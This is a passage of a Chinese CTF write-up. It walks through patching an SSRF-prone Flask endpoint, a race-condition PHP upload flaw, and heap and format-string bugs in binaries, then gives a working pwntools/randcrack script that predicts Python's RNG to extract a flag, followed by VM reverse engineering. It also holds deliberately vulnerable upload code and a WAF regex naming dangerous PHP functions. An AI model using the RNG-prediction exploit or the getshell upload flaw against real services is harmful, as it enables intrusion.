return list(set(ips))
def validate_and_normalize_url(raw: str):
"""
1) 解析 URL,只允许 http/https
2) 要求有 netloc(host)
3) 禁止 file:// 等
4) 解析 hostname -> IP,禁止私有/回环地址
5) 可选:检查 ALLOWED_DOMAINS 白名单
返回规范化后的 URL 字符串,或抛出 ValueError
"""
if not raw:
raise ValueError("Empty URL")
parsed = urlparse(raw, scheme="") # 不自动假定 http,强制检查
# 如果用户输入没有 scheme 而是像 "example.com/path",urlparse 会把 example.com 归到 path。
# 先简单处理:如果没有 scheme,假定 http 并重新 parse。
if not parsed.scheme:
parsed = urlparse("http://" + raw)
if parsed.scheme.lower() not in ("http", "https"):
raise ValueError("Only http/https allowed")
if not parsed.netloc:
raise ValueError("Invalid URL: missing host")
hostname = parsed.hostname
if not hostname:
raise ValueError("Invalid hostname")
# 如果使用域名白名单,强制校验
if ALLOWED_DOMAINS:
base = hostname.lower()
if base not in ALLOWED_DOMAINS:
raise ValueError("Domain not allowed")
# 解析 hostname -> IPs,禁止回环及私有网段
ips = resolve_hostname_to_ips(hostname)
if not ips:
raise ValueError("Unable to resolve hostname")
for ip in ips:
if is_ip_private(ip):
raise ValueError("Resolved IP is private/loopback - blocked")
# 重建 URL,去掉可能包含的用户名/密码信息
safe_netloc = hostname
if parsed.port:
safe_netloc += ":" + str(parsed.port)
normalized = urlunparse((parsed.scheme, safe_netloc, parsed.path or "/", parsed.params, parsed.query, parsed.fragment))
return normalized
@app.route("/")
def index():
return render_template("index.html")
@app.route("/ping", methods=["POST"])
def ping():
data = request.get_json(silent=True) or {}
raw_url = data.get("url", "")
try:
url = validate_and_normalize_url(raw_url)
except ValueError as e:
return jsonify({"result": f"不允许回显: {str(e)}"}), 400
# 使用 requests 发起请求(替代 subprocess),限制超时、重定向和响应大小
try:
with requests.get(url, timeout=3, allow_redirects=True, stream=True) as r:
# 强制只处理文本/小体积
content_type = r.headers.get("Content-Type", "")
if "text" not in content_type and "json" not in content_type:
return jsonify({"result": "不允许回显二进制或非文本内容"}), 400
# 读取最多 MAX_ECHO_BYTES 字节
to_read = MAX_ECHO_BYTES
chunks = []
for chunk in r.iter_content(chunk_size=1024):
if not chunk:
break
chunks.append(chunk)
to_read -= len(chunk)
if to_read <= 0:
break
raw = b"".join(chunks)
# 尝试 utf-8 解码,失败则忽略错误
text = raw.decode(errors="replace")
return jsonify({"result": text})
except requests.Timeout:
return jsonify({"result": "请求超时!"}), 504
except requests.RequestException as e:
return jsonify({"result": f"请求失败: {str(e)}"}), 502
if __name__ == "__main__":
app.run(host="0.0.0.0", port=80, debug=False)
4.1.2 修复文件竞争上传
这一题是文件竞争上传,传上去的文件经过检测后会被重命名短暂落地,如果被访问就可以getshell
<?php
function waf_file_del($contents){
$pattern = '/(<\?php\b)|(<%\s*)|(<script\b)|(`[^`]*`)|\beval\s*\(|\bfopen\b|\bfputs\b|\bexec\b/i';
if(preg_match($pattern,$contents)){
// unlink($file); // 等到外边判断时再删除,给竞争降低点难度
// echo "文件存在恶意代码!";
return 1;
}else{
return 0;
//echo "未检测出文件存在恶意代码!".$file;
}
}
date_default_timezone_set("Asia/Shanghai");
$time=date("Ymdhis");
$randint=strval(rand(10,99));
header("Content-Type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$ext=substr($_FILES['file']['name'],-3);
$path = './upload/' .$randint.$time.'.'.$ext;
echo 'The Path : '.$path;
$tmp = $_FILES['file']['tmp_name'];
$contents = file_get_contents($tmp);
if(move_uploaded_file($tmp, $path)){
if(preg_match('/jpg|png|gif/i', $ext)&&!waf_file_del($contents)){
echo 'upload success,file in '.$path;
}
else{
// sleep(1);
unlink($path);
die("黑客别来沾边");
}
}
else{
die('你这文件不保熟吧,是不是太大了,总之没传上去');
}
修复也比较简单:
<?php
date_default_timezone_set("Asia/Shanghai");
header("Content-Type:text/html;charset=utf-8");
$upload_dir = './upload/';
$max_size = 10 * 1024; // 10 KB
$allowed_mimes = [
'image/jpeg' => '.jpg',
'image/png' => '.png',
'image/gif' => '.gif',
];
// 确保上传目录存在
if (!is_dir($upload_dir)) mkdir($upload_dir, 0755);
// waf检查函数
function waf_file_del($contents){
$pattern = '/(<\?php\b)|(<%\s*)|(<script\b)|(`[^`]*`)|\beval\s*\(|\bfopen\b|\bfputs\b|\bexec\b/i';
return preg_match($pattern, $contents) ? true : false;
}
// 检查是否上传文件
if (!isset($_FILES['file'])) {
die("没有上传文件!");
}
$file = $_FILES['file'];
// 文件大小检查
if ($file['size'] > $max_size) {
die("文件过大!");
}
// MIME 类型检查
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime_type = $finfo->file($file['tmp_name']);
if (!array_key_exists($mime_type, $allowed_mimes)) {
die("只允许上传图片文件!");
}
// 获取文件内容
$contents = file_get_contents($file['tmp_name']);
if (waf_file_del($contents)) {
die("文件内容包含危险代码!");
}
// 生成随机安全文件名
$rand_name = $upload_dir . bin2hex(random_bytes(8)) . $allowed_mimes[$mime_type];
// 安全移动文件
if (move_uploaded_file($file['tmp_name'], $rand_name)) {
echo "上传成功,文件路径:" . htmlspecialchars($rand_name);
} else {
die("文件上传失败!");
}
?>
通过这两道题你也看出来了,web修洞只要能发现就能比较快速
4.2 pwn
4.2.1 修改数值
我们从栈迁移说起,栈迁移是因为多读入16字节
ssize_t vuln()
{
_BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF
puts("16 bytes can you kill me?");
return read(0, buf, 0x90u);
}
那么,我们就更改二进制文件让它少读点
将箭头指向处改为6(或者你喜欢的数字),之后每次打开新文件都要进行这一步
按tab+空格切换到汇编,发现漏洞
右键选择Assemble
按保存
即可完成漏洞修复
4.2.2 修改函数
unsigned __int64 vuln()
{
__int64 v1; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0;
printf("gift: %p\n", &v1);
puts("You will have only one chance!");
read(0, buf, 0x100u);
printf(buf);
return v2 - __readfsqword(0x28u);
}
明显存在格式化字符串漏洞,按上文步骤更改printf 为 puts
别忘了保存即可修复漏洞
4.2.3 新增段并hook到这
这道题堆的漏洞开的有点大,第一个是free不置空,第二个是edit想写多少写多少,我们挨个来修
3.3.1 free不置空
int sub_40134F()
{
signed int n0x80; // [rsp+Ch] [rbp-4h]
puts("index:");
n0x80 = sub_401234();
if ( (unsigned int)n0x80 >= 0x80 )
return puts("Invalid index.");
if ( !*((_QWORD *)&unk_4040C0 + n0x80) )
puts("No content at this index.");
free(*((void **)&unk_4040C0 + n0x80));
return puts("Content deleted successfully.");
}
如果你直接把free干掉,那就违背了不能破坏功能原则,我们希望修补为可以置空
查看汇编可以发现,这个函数十分紧凑,没办法多写别的东西,如果强行修改。就会覆盖到前面的。那么我们要用到我们pwn+re的思路,我们可以在调用free的时候hook它,让它去别的地方执行我们想要的代码再回来。
在哪里执行呢?首先,我们要尽可能不破坏文件结构,代码段肯定是不行的,.bss会被清空,.data不可运行。那我们就干脆加一个段(详见ELF文件及其运行),用以下脚本加一个.fix(名字任意)的段方便我们写补丁。
#!/usr/bin/env python3
"""
add_fix_section.py
在 ELF 二进制中添加一个可执行的 .fix(或自定义名字)段,填充 NOP,
并写出一个 patched 文件(<orig>_patched)。
输出会包含:
- 段名、大小
- 段在文件内的偏移(file offset)
- 段在内存的虚拟地址(virtual address, VMA)
- 对齐 / flags
- 对 IDA 使用的说明(如果是 PIE,需注意运行时基址)
备注:
- 该脚本尽量保持简单、通用;不会改动原有段的内容(除非 name 冲突)。
- 生成的段被设置为 ALLOC + EXECINSTR (可执行并会被映射)。
"""
import sys
import argparse
import lief
import os
import textwrap
from struct import pack
def human(x):
try:
return hex(x)
except:
return str(x)
def add_exec_section(binary_path: str, out_path: str, name: str, size: int, fill: int = 0x90):
# 解析 ELF
elf = lief.parse(binary_path)
if elf is None:
raise SystemExit("Failed to parse ELF: " + binary_path)
# 检查是否已有同名段
if elf.get_section(name) is not None:
i = 1
base = name
while elf.get_section(f"{base}{i}") is not None:
i += 1
name = f"{base}{i}"
print(f"[!] 段名已存在,改用新段名: {name}")
# 创建可执行段
sec = lief.ELF.Section(name)
sec.type = lief.ELF.Section.TYPE.PROGBITS
sec.flags = (lief.ELF.Section.FLAGS.ALLOC |
lief.ELF.Section.FLAGS.EXECINSTR)
sec.content = [fill] * size # 默认用 NOP 填充
# 添加段,放入 loadable segment
elf.add(sec, loaded=True)
# 写出新的 ELF
elf.write(out_path)
# 再次解析,确保拿到新增段的准确信息
elf2 = lief.parse(out_path)
new_sec = elf2.get_section(name)
if new_sec is None:
raise SystemExit("添加段失败(写入后无法读取段信息)")
info = {
"name": new_sec.name,
"size": new_sec.size,
"alignment": new_sec.alignment,
"virtual_address": new_sec.virtual_address,
"file_offset": new_sec.file_offset,
"flags": new_sec.flags_list
}
return info, out_path
def jmp_rel32_bytes(src_va: int, dst_va: int):
"""
计算 jmp rel32 的机器码 bytes(E9 <rel32>)
rel32 = dst_va - (src_va + 5)
仅适用于非-PIE(或已知具体基址)情况下的直接 VA。
返回 bytes 对象。
"""
rel = dst_va - (src_va + 5)
rel32 = pack("<i", rel) # 32-bit signed little endian
return b"\xE9" + rel32
def main():
parser = argparse.ArgumentParser(
formatter_class=argparse.RawDescriptionHelpFormatter,
description=textwrap.dedent(__doc__)
)
parser.add_argument("elf", help="输入 ELF 二进制文件路径")
parser.add_argument("--size", "-s", type=lambda x: int(x, 0), default=0x1000,
help="新增段大小(hex 支持,如 0x1000),默认 0x1000")
parser.add_argument("--name", "-n", default=".fix",
help="新增段名,默认 .fix")
parser.add_argument("--fill", "-f", type=lambda x: int(x, 0), default=0x90,
help="填充字节,默认 0x90 (NOP)")
args = parser.parse_args()
if not os.path.isfile(args.elf):
raise SystemExit("输入文件不存在: " + args.elf)
base = os.path.basename(args.elf)
out = args.elf + "_patched"
print(f"[+] 解析输入 ELF: {args.elf}")
print(f"[+] 将输出为: {out}")
print(
f"[+] 新增段名: {args.name} 大小: {hex(args.size)} 填充字节: {hex(args.fill)}")
info, out_path = add_exec_section(
args.elf, out, args.name, args.size, args.fill)
print("\n[+] 新增段信息:")
print(f" name: {info['name']}")
print(f" size: {hex(info['size'])}")
print(f" alignment: {info['alignment']}")
print(f" virtual_address (VMA): {hex(info['virtual_address'])}")
print(f" file_offset: {hex(info['file_offset'])}")
print(f" flags: {info['flags']}")
print()
print("说明:")
print(" - VMA 为程序加载后该段的虚拟地址(若 ELF 为 PIE/ET_DYN,则该 VMA 是相对于基址的偏移,运行时需加上基址)。")
print(" - file_offset 是该段在文件中的偏移,IDA 里可用这个偏移或 VMA(若非 PIE)来定位。")
print()
print("建议在 IDA 中的定位方法:")
print(" - 如果二进制为非-PIE(ET_EXEC),在 IDA 打开二进制后直接跳到 VMA 地址即可 (GOTO -> 输入 VMA)。")
print(" - 如果二进制为 PIE(ET_DYN),运行时加载基址可能不为 0;在 IDA 中可以把 imagebase 设置为 0,然后到运行时用 GDB 查看 base,或在 IDA 中以 base 加上 VMA 的值定位。")
print()
print("[!] 注意:该脚本不修改原始段的权限或其它段布局(除新增段外),一般情况下不会破坏可执行性。")
print()
# 打印一个 jmp rel32 的计算示例(示意)
print("[*] 如果你要在某处插入 `jmp rel32`(E9 <rel32>),这里是计算方法(非-PIE 情况):")
print(" rel32 = dst_va - (src_va + 5)")
print(" 机器码 = E9 <rel32 little-endian>")
print()
print("示例 Python 片段(在 IDA 或 pwntools 中快速生成 bytes):")
print(textwrap.indent(textwrap.dedent("""
def make_jmp_bytes(src_va, dst_va):
rel = dst_va - (src_va + 5)
return b"\\xE9" + (rel & 0xFFFFFFFF).to_bytes(4, "little", signed=True)
# 例如:
src = 0x4013CE # 你要在这里写 jmp
dst = 0x405000 # trampoline 地址 (script 输出的 VMA)
jmp_bytes = make_jmp_bytes(src, dst)
print(jmp_bytes.hex())
"""), " "))
print()
print("[*] 小贴士:")
print(" - 覆盖原来的指令时,确保你以指令边界为单位覆盖(不要覆盖中间字节)。")
print(" - 若被覆盖指令长度 >5,建议写 jmp + 填充 NOP;在 trampoline 开头复制被覆盖的原始指令(stolen bytes)。")
print(" - 若 ELF 为 PIE,在运行时你需要获取基址 (pwn/ldd/gdb 都能帮忙),再计算实际写入的 rel32。")
print()
print(f"[+] 已写出 patched 文件: {out_path}")
print("[+] 现在可以在 IDA 中打开 patched 文件,跳到上面显示的 VMA(或 file offset)来编辑 trampoline 内容。")
if __name__ == "__main__":
main()
使用方法:
python3 ./1.py ./pwn
这样子就新增了一个可运行的.fix段,在ida也可以看到位于0x804000
处
然后我们直接分析汇编:
因为我们需要获取原始的偏移和数组地址,而mov rax,[rdx+rax]
或损失掉原始的数组信息,我们直接nop掉前面,自行获取
这里的hook_free
实际上为jmp 0x804000
然后我们保存上下文,开始操作
恢复寄存器
这里需要一点点手写汇编功底
[]
是取地址操作,相当于c中的*q = 0
- 使用mov代替lea
类似的,我们直接 hook 掉 read
然后使用堆的特性:堆大小在malloc返回指针-8的位置,获取后别忘了进行去除flags位,然后-0x10即为允许写入空间
别忘了收尾
5.1 python随机数引擎
# -*- encoding: utf-8 -*-
'''
@File : server.py
@Time : 2025/03/20 12:25:03
@Author : LamentXU
'''
import random
print('----Welcome to my division calc----')
print('''
menu:
[1] Division calc
[2] Get flag
''')
while True:
choose = input(': >>> ')
if choose == '1':
try:
denominator = int(input('input the denominator: >>> '))
except:
print('INPUT NUMBERS')
continue
nominator = random.getrandbits(32)
if denominator == '0':
print('NO YOU DONT')
continue
else:
print(f'{nominator}//{denominator} = {nominator//denominator}')
elif choose == '2':
try:
ans = input('input the answer: >>> ')
rand1 = random.getrandbits(11000)
rand2 = random.getrandbits(10000)
correct_ans = rand1 // rand2
if correct_ans == int(ans):
print('WOW')
with open('flag', 'r') as f:
print(f'Here is your flag: {f.read()}')
else:
print(f'NOPE, the correct answer is {correct_ans}')
except:
print('INPUT NUMBERS')
else:
print('Invalid choice')
实际上python的随机数是可以预测的,收集足够多的随机数即可
from randcrack import RandCrack
from pwn import *
# 连接到服务
conn = remote('192.168.121.130', 32836) # 替换为实际的地址和端口
rc = RandCrack()
context.log_level = "debug"
# 收集624个32位随机数来重建状态
print("Collecting random numbers...")
for _ in range(624):
conn.sendlineafter(b': >>> ', b'1') # 选择选项1
conn.sendlineafter(b'input the denominator: >>> ', b'1') # 分母输入1
line = conn.recvline().decode().strip()
nominator = int(line.split('//')[0])
rc.submit(nominator)
print("Predicting next random numbers...")
# 预测接下来的两个大随机数
predicted_rand1 = rc.predict_getrandbits(11000)
predicted_rand2 = rc.predict_getrandbits(10000)
correct_ans = predicted_rand1 // predicted_rand2
# 获取flag
conn.sendlineafter(b': >>> ', b'2') # 选择选项2
conn.sendlineafter(b"input the answer: >>>", str(correct_ans).encode())
print(conn.recvline())
conn.interactive()
5.2 vm逆向
又是一个重量级,re手最痛恨的东西之一
根据一堆偏移猜测是在模拟寄存器
或模拟指令
,随便一个进去看看
发现是对刚刚的操作,所以刚才的是模拟寄存器,这里则是指令
进到第一个看看
__int64 __fastcall sub_400806(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6)
{
__int64 v7; // [rsp+0h] [rbp-20h]
__int64 v8; // [rsp+8h] [rbp-18h]
__int64 v9; // [rsp+10h] [rbp-10h]
v9 = a2;
v8 = a3;
v7 = a4;
*(_QWORD *)(a1 + 8) = a2 + 9;
*(_QWORD *)(a1 + 24) = a3;
*(_QWORD *)(a1 + 32) = a4;
while ( 2 )
{
switch ( **(_BYTE **)(a1 + 8) )
{
case 0xA0:
(*(void (__fastcall **)(__int64))(*(_QWORD *)a1 + 8LL))(a1);
continue;
case 0xA1:
(*(void (__fastcall **)(__int64))(*(_QWORD *)a1 + 16LL))(a1);
continue;
case 0xA2:
(*(void (__fastcall **)(__int64))(*(_QWORD *)a1 + 24LL))(a1);
*(_QWORD *)(a1 + 8) += 11LL;
continue;
case 0xA3:
(*(void (__fastcall **)(__int64))(*(_QWORD *)a1 + 32LL))(a1);
*(_QWORD *)(a1 + 8) += 2LL;
continue;
case 0xA4:
(*(void (__fastcall **)(__int64))(*(_QWORD *)a1 + 40LL))(a1);
*(_QWORD *)(a1 + 8) += 7LL;
continue;
case 0xA5:
(*(void (__fastcall **)(__int64))(*(_QWORD *)a1 + 48LL))(a1);
++*(_QWORD *)(a1 + 8);
continue;
case 0xA6:
(*(void (__fastcall **)(__int64))(*(_QWORD *)a1 + 56LL))(a1);
*(_QWORD *)(a1 + 8) -= 2LL;
continue;
case 0xA7:
(*(void (__fastcall **)(__int64))(*(_QWORD *)a1 + 64LL))(a1);
*(_QWORD *)(a1 + 8) += 7LL;
continue;
case 0xA8:
(*(void (__fastcall **)(__int64))(*(_QWORD *)a1 + 72LL))(a1);
continue;
case 0xA9:
(*(void (__fastcall **)(__int64))(*(_QWORD *)a1 + 80LL))(a1);
*(_QWORD *)(a1 + 8) -= 6LL;
continue;
case 0xAA:
(*(void (__fastcall **)(__int64))(*(_QWORD *)a1 + 88LL))(a1);
continue;
case 0xAB:
(*(void (__fastcall **)(__int64))(*(_QWORD *)a1 + 96LL))(a1);
*(_QWORD *)(a1 + 8) -= 4LL;
continue;
case 0xAC:
(*(void (__fastcall **)(__int64))(*(_QWORD *)a1 + 104LL))(a1);
continue;
case 0xAD:
(*(void (__fastcall **)(__int64, __int64, __int64, __int64, __int64, __int64, __int64, __int64, __int64))(*(_QWORD *)a1 + 112LL))(
a1,
a2,
a1,
a4,
a5,
a6,
v7,
v8,
v9);
*(_QWORD *)(a1 + 8) += 2LL;
continue;
case 0xAE:
if ( *(_DWORD *)(a1 + 20) )
return 0;
*(_QWORD *)(a1 + 8) -= 12LL;
continue;
case 0xAF:
if ( *(_DWORD *)(a1 + 20) != 1 )
{
*(_QWORD *)(a1 + 8) -= 6LL;
continue;
}
return 1;
default:
puts("cmd execute error");
return 0;
}
}
}
发现switch ( **(_BYTE **)(a1 + 8) )
在不断变化,很有可能是pc寄存器,至于其它的寄存器暂时看不出用途,先随便起名
打开结构体窗口,新建一个结构体
struct Register
{
void *table;
uint64_t ip;
uint8_t v0;
uint8_t v1;
uint8_t v2;
uint8_t nop;
uint32_t t0;
uint64_t t1;
uint64_t t2;
};
然后在
类似的:
然后我们挨个分析刚才的指令:
比方说刚刚的sub_400C7C
我们就可以这样分析,相类似的,直接全部分析一遍:
然后去新建一个结构体:
struct Table
{
void *vm;
void *addv0;
void *addv1;
void *addv2;
void *v0subv2;
void *v0xorv1;
void *v1xorv0;
void *movv0_51;
void *v2movv1;
void *v2mov_51;
void *v0_get_arry_t2_v2;
void *v1_get_arry_t2_v2;
void *Checkflag1;
void *checkflag2;
void *t0shrv20x1f;
};
记得修改之前的结构体为:
struct Register
{
Table *table;
uint64_t ip;
uint8_t v0;
uint8_t v1;
uint8_t v2;
uint8_t nop;
uint32_t t0;
uint64_t t1;
uint64_t t2;
};
然后回到sub_400806,重新修正参数
__int64 __fastcall vm(Register *Register, __int64 code, uint64_t data, __int64 input, __int64 a5, __int64 a6)
{
__int64 input_1; // [rsp+0h] [rbp-20h]
uint64_t data_1; // [rsp+8h] [rbp-18h]
__int64 code_1; // [rsp+10h] [rbp-10h]
code_1 = code;
data_1 = data;
input_1 = input;
Register->ip = code + 9;
Register->t1 = data;
Register->t2 = input;
while ( 2 )
{
switch ( *Register->ip )
{
case 0xA0:
(Register->table->addv0)(Register); // ip
continue;
case 0xA1:
(Register->table->addv1)(Register);
continue;
case 0xA2:
(Register->table->addv2)(Register);
Register->ip += 11LL;
continue;
case 0xA3:
(Register->table->v0subv2)(Register);
Register->ip += 2LL;
continue;
case 0xA4:
(Register->table->v0xorv1)(Register);
Register->ip += 7LL;
continue;
case 0xA5:
(Register->table->v1xorv0)(Register);
++Register->ip;
continue;
case 0xA6:
(Register->table->movv0_51)(Register);
Register->ip -= 2LL;
continue;
case 0xA7:
(Register->table->v2movv1)(Register);
Register->ip += 7LL;
continue;
case 0xA8:
(Register->table->v2mov_51)(Register);
continue;
case 0xA9:
(Register->table->v0_get_arry_t2_v2)(Register);
Register->ip -= 6LL;
continue;
case 0xAA:
(Register->table->v1_get_arry_t2_v2)(Register);
continue;
case 0xAB:
(Register->table->Checkflag1)(Register);
Register->ip -= 4LL;
continue;
case 0xAC:
(Register->table->checkflag2)(Register, code, Register, input, a5, a6, input_1, data_1, code_1);
continue;
case 0xAD:
(Register->table->t0shrv20x1f)(Register);
Register->ip += 2LL;
continue;
case 0xAE:
if ( Register->t0 )
return 0;
Register->ip -= 12LL;
continue;
case 0xAF:
if ( Register->t0 != 1 )
{
Register->ip -= 6LL;
continue;
}
return 1;
default:
puts("cmd execute error");
return 0;
}
}
}
下一步就是写出对应的脚本,看看执行了什么
#include <malloc.h>
#include <stdint.h>
#include <stdio.h>
#include <windows.h>
typedef struct Reg {
void* table;
uint32_t ip;
uint8_t v0;
uint8_t v1;
uint8_t v2;
uint8_t pad19;
uint32_t t0;
uint32_t* t1;
uint32_t* t2;
} reg;
void Checkflag1(reg* Register) {
reg* Register_1; // rax
// v0==t1[v2]
if (Register->v0 == *(Register->t1 + Register->v2)) {
Register_1 = Register;
Register->t0 = 0; // t0=0
}
else {
Register_1 = Register;
if (Register->v0 >= *(Register->t1 + Register->v2)) // v0 >= t1[v2]
Register->t0 = 1; // t0=1
else
Register->t0 = -1; // t0=-1
}
}
void checkflag2(reg* Register) {
reg* Register_1; // rax
if (Register->v1 == Register->t1[Register->v2]) {
Register_1 = Register;
Register->t0 = 0;
}
else {
Register_1 = Register;
if (Register->v1 >= Register->t1[Register->v2])
Register->t0 = 1;
else
Register->t0 = -1;
}
}
int main() {
uint32_t code[] = { 0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7, 0xA8,
0xA9, 0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF, 0 };
uint32_t data[] = { 0xF4, 0x0A, 0xF7, 0x64, 0x99, 0x78, 0x9E, 0x7D,
0xEA, 0x7B, 0x9E, 0x7B, 0x9F, 0x7E, 0xEB, 0x71,
0xE8, 0x00, 0xE8, 0x07, 0x98, 0x19, 0xF4, 0x25,
0xF3, 0x21, 0xA4, 0x2F, 0xF4, 0x2F, 0xA6, 0x7C };
uint32_t input[] = { 0x39,0x34,0x32,0x61,0x34,0x31,0x31,0x35,0x62,0x65,0x32,0x33,0x35,0x39,0x66,0x66,0x64,0x36,0x37,0x35,0x66,0x61,0x36,0x33,0x33,0x38,0x62,0x61,0x32,0x33,0x62,0x36 };
reg* Register;
Register = (reg*)malloc(sizeof(reg));
memset(Register, 0, sizeof(reg));
Register->ip = code[9];
Register->t0 = 0;
Register->t1 = data;
Register->t2 = input;
while (1) {
switch (Register->ip) {
case 0xA0:
puts("0xA0");
puts("v0++"); // ip
Register->v0++;
continue;
case 0xA1:
puts("0xA1");
puts("v1++");
Register->v1++;
continue;
case 0xA2:
puts("0xA2");
puts("v2++");
Register->v2++;
Register->ip = (Register->ip + 11);
continue;
case 0xA3:
puts("0xA3");
puts("v0-=v2");
Register->v0 -= Register->v2;
Register->ip = (Register->ip + 2);
continue;
case 0xA4:
puts("0xA4");
puts("v0^=v1");
Register->v0 ^= Register->v1;
Register->ip = (Register->ip + 7);
continue;
case 0xA5:
puts("0xA5");
puts("v1^=v0");
Register->v1 ^= Register->v0;
++Register->ip;
continue;
case 0xA6:
puts("0xA6");
puts("v0=-51");
Register->v0 = 0xCD;
Register->ip = (Register->ip - 2);
continue;
case 0xA7:
puts("0xA7");
puts("v1=v0");
Register->v1 = Register->v0;
Register->ip = (Register->ip + 7);
continue;
case 0xA8:
puts("0xA8");
puts("v2=-51");
Register->v2 = 0xCD;
continue;
case 0xA9:
puts("0xA9");
puts("v0=input[v2]");
Register->v0 = input[Register->v2];
Register->ip = (Register->ip - 6);
continue;
case 0xAA:
puts("0xAA");
puts("v1=t2[v2]");
Register->v1 = Register->t2[Register->v2];
continue;
case 0xAB:
puts("0xAB");
puts("if(v0==data[v2])");
puts("Checkflag1(Register);");
Checkflag1(Register);
Register->ip = (Register->ip - 4);
continue;
case 0xAC:
puts("0xAC");
puts("if(v1==t1[v2])");
puts("checkflag2(Register);");
checkflag2(Register);
continue;
case 0xAD:
puts("0xAD");
puts("t0>0x1f");
Register->ip = (Register->ip + 2);
continue;
case 0xAE: {
puts("0xAE");
if (Register->t0)
return 0;
Register->ip = (Register->ip - 12);
continue;
}
case 0xAF:
puts("0xAF");
if (Register->t0 != 1) {
Register->ip = (Register->ip - 6);
continue;
}
return 1;
default: {
puts("cmd execute error");
return 0;
}
return 0;
}
}
}
根据输出结果,人肉反汇编一下:
for (int v2 = 0; v2 < 32; v2++)
{
v0 = input[v2];
v0 -= v2;
v1 = v0 ^ v1;
v0 = -51;
v0 = v0 ^ v1;
if (v0 == data[v2])
{
printf("YES");
v1 = v0;
}
else
{
printf("NO");
break;
}
}
下一步写出解密脚本即可
总结
被迫成为全栈选手>﹏<